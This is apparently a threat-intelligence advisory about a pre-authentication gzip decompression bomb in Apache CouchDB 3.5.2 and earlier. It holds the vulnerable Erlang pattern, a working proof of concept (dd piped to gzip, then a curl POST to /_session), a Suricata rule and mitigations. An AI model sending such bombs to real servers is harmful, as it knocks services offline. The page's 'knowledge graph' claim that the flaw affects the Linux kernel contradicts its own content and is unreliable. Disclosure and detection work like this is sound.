Skip to content

CVE-2026-90797: Apache CouchDB Pre-Auth Gzip Decompression Bomb Denial of Service

Density:
C-Level Executive Briefing CVE-2026-90797 HIGH SCORE 83/100

A critical denial of service vulnerability (CVE-2026-90797) has been disclosed in Apache CouchDB versions 3.5.2 and earlier. The chttpd daemon decompressed gzip-encoded request bodies prior to completing client authentication checks on endpoints like POST /_session. Crucially, payload size limitations were evaluated solely against the compressed input size rather than the inflated memory buffer. An unauthenticated attacker transmitting a tiny compressed archive (gzip bomb) can exhaust server RAM, terminating the Erlang VM and bringing down cluster nodes. Upgrading to CouchDB 3.5.3 remedies this vulnerability. Hermes rates this vector at HTS 83 (HIGH).

HERMES

HERMES THREAT SCORE & CLUSTER AVAILABILITY RESILIENCE

Target: Apache CouchDB HTTP Decompression Subsystem (/src/chttpd/)
Confidence: 98%
83 / 100
HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 16 / 20
Weaponization 18 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 18 / 20
Exploit Maturity 18 / 20
Attack Chain Potential 16 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 rates this flaw at 7.5 High, whereas CVSS v4.0 evaluates the systemic availability impact at 7.7 / 9.2 (Critical/High). Hermes Threat Score assigns 83 (HIGH) due to zero pre-requisites: because CouchDB instances frequently expose /_session to support web application login interfaces, an unauthenticated attacker can bring down all cluster members with minimal network bandwidth.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-90797: Apache CouchDB Pre-Auth Gzip Decompression Bomb Denial of ServiceVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTLinux Kernel Core
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Linux Kernel Core documented in Hermes dossier.”

Supporting Verified Evidence:

Apache CouchDB exposes an HTTP-based REST API managed by the chttpd application. To optimize bandwidth usage between clients and the database, CouchDB accepts compressed payloads using Content-Encoding: gzip or Content-Encoding: deflate.

Prior to version 3.5.3, decompression occurred before the request reached authentication middleware. Because CouchDB only checked whether the compressed payload exceeded max_http_request_size (default 64MB or 4GB), an attacker could send a 1MB compressed stream that expands to dozens of gigabytes in memory, exhausting RAM and knocking the database offline.


In chttpd.erl, incoming request bodies with gzip encoding were processed via zlib:gunzip/1 without passing a streaming size limit counter:

%% Vulnerable pattern in chttpd:
maybe_decompress(#httpd{req_body = Body, req_headers = Headers} = Req) ->
case chttpd:header_value(Req, "Content-Encoding") of
"gzip" ->
%% Size check was performed on byte_size(Body), NOT on decompressed result!
Decompressed = zlib:gunzip(Body),
Req#httpd{req_body = Decompressed};
_ ->
Req
end.

When receiving repeated requests containing sparse or recursive byte sequences, the BEAM allocator consumes all available host swap and RAM, triggering an unrecoverable system_limit or kernel OOM signal.


Terminal window
# Generate a 1GB sparse payload compressed into ~100KB:
dd if=/dev/zero bs=1M count=1000 | gzip -9 > bomb.gz
# Send to unauthenticated CouchDB session endpoint:
curl -v -X POST "http://couchdb.target.internal:5984/_session" \
-H "Content-Type: application/json" \
-H "Content-Encoding: gzip" \
--data-binary @bomb.gz

ProductVulnerable VersionsPatched VersionUpdate Urgency
Apache CouchDB<= 3.5.2 (All Platforms)3.5.3HIGH (Immediate)

alert http $EXTERNAL_NET any -> $HOME_NET 5984 ( \
msg:"ET DOS Apache CouchDB Pre-Auth Gzip Decompression Bomb (CVE-2026-90797)"; \
flow:established,to_server; \
http.method; content:"POST"; \
http.uri; content:"/_session"; fast_pattern; \
http.header; content:"Content-Encoding: gzip"; nocase; \
classtype:denial-of-service; \
sid:202690797; rev:1; \
)

  1. Deploy Apache CouchDB 3.5.3: The update introduces streaming decompression checks, rejecting streams whose uncompressed size crosses safety thresholds.

  2. Disable Request Body Compression at Reverse Proxy: If operating behind Nginx or HAProxy, disable or strip client-side Content-Encoding: gzip on inbound requests to /_session.

  3. Configure Memory Limits via Cgroups: Constrain CouchDB inside systemd slices or container resource limits with restart backoff policies.